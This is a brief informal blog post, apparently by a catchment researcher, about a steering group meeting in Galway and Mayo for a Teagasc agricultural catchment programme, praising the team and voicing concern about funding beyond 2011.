On this occasion the meeting was in the West, Co.s Galway and Mayo and this was the first time I had attended the steering group when the team was truely up and running.  It reminded me that in any new catchment programme &#8211; like the one we are currently rolling out inthe UK &#8211; that it takes time to get things running.  Phil Jordan and colleagues from Teagasc are doing a most excellent job in taking the initiative forward with some new new long-term data sets from around the country.  I think that this is at the moment the best such programme in the world that I am aware f but I am worried that it must continue with funding beyind the current end projected for 2011.  Catchment change is a long term game, we must consolidate on investments and see out initiatives into the future.  Well done to Phil and colleagues, I look forward to the next meeting.
